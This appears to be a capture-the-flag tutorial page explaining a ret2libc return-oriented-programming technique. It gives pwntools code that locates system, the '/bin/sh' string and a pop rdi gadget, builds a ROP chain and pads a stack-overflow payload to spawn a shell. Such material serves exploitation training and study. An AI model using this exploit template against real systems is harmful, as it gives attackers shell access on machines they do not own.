> For the complete documentation index, see [llms.txt](https://sarpers-organization.gitbook.io/ctftricks/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://sarpers-organization.gitbook.io/ctftricks/_chapter-intro-15/rop/trick-0367.md).

# Execute System /Bin/Sh Via Ret2libc Rop

***

Construct a ROP chain to call `system('/bin/sh')`. This requires knowing the base address of the target executable (for ROP gadgets like `pop rdi; ret`) and the base address of `libc` (for the address of the `system` function and the string `/bin/sh`).

The core payload structure is:

```
[padding to overflow buffer and reach return address]
[address of pop rdi; ret gadget]
[address of the string "/bin/sh" within libc]
[address of the system function within libc]
```

The `pop rdi; ret` gadget is used to place the address of the "/bin/sh" string into the `rdi` register, which is where the first argument to a function is passed on x86-64. The final address in the chain is `system`, which is then executed with `/bin/sh` as its argument, granting a shell. Deliver this ROP chain via the specified `replacement` buffer.

To implement this using pwntools, we first load the target binary and the corresponding libc library.

```python
from pwn import *

# Load the binary and libc
elf = context.binary = ELF('./vulnerable_program') # Replace with your binary path
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') # Replace with your libc path
```

Next, we find the necessary addresses and gadgets. The address of the `system` function can be found directly from the loaded libc object. Similarly, the address of the string "/bin/sh" can be searched within the libc data section. Finding a `pop rdi; ret` gadget requires scanning the executable or loaded libraries.

```python
# Find the address of system
system_addr = libc.sym['system']

# Find the address of the string "/bin/sh"
bin_sh_addr = next(libc.search(b'/bin/sh'))

# Find a pop rdi; ret gadget
# This gadget is often found in executable code sections
# You might need to use ROPgadget or similar tools to find one in your specific binary or libc
# For demonstration, let's assume we found one at a specific address
# A common way to find this with pwntools ROP class:
rop = ROP(elf) # Or ROP(libc) if the gadget is in libc
pop_rdi_gadget = rop.find_gadget(['pop rdi', 'ret'])[0]
```

Now, construct the ROP chain using these addresses. The chain consists of the `pop rdi` gadget address, followed by the argument for `rdi` (the address of "/bin/sh"), and finally the address of the `system` function.

```python
# Build the ROP chain
rop_chain = p64(pop_rdi_gadget) # Address of pop rdi; ret
rop_chain += p64(bin_sh_addr)   # Address of "/bin/sh" string
rop_chain += p64(system_addr)   # Address of system function
```

The final payload needs to include padding to overwrite the stack up to the return address, followed by the constructed ROP chain. The amount of padding depends on the buffer size in the vulnerable program.

```python
# Calculate padding needed to reach the return address
# This offset needs to be determined by analyzing the vulnerable program
# (e.g., using GDB, Ghidra, or pattern creation/offset finding tools)
padding_size = 40 # Example size, replace with actual offset

# Create the final payload
payload = b'A' * padding_size # Padding bytes
payload += rop_chain          # The ROP chain
```

This `payload` can then be sent to the vulnerable program, typically via standard input or a network connection, depending on how the program receives input. The `replacement` buffer mentioned in the original content is where this crafted `payload` should be placed to overwrite the return address on the stack.
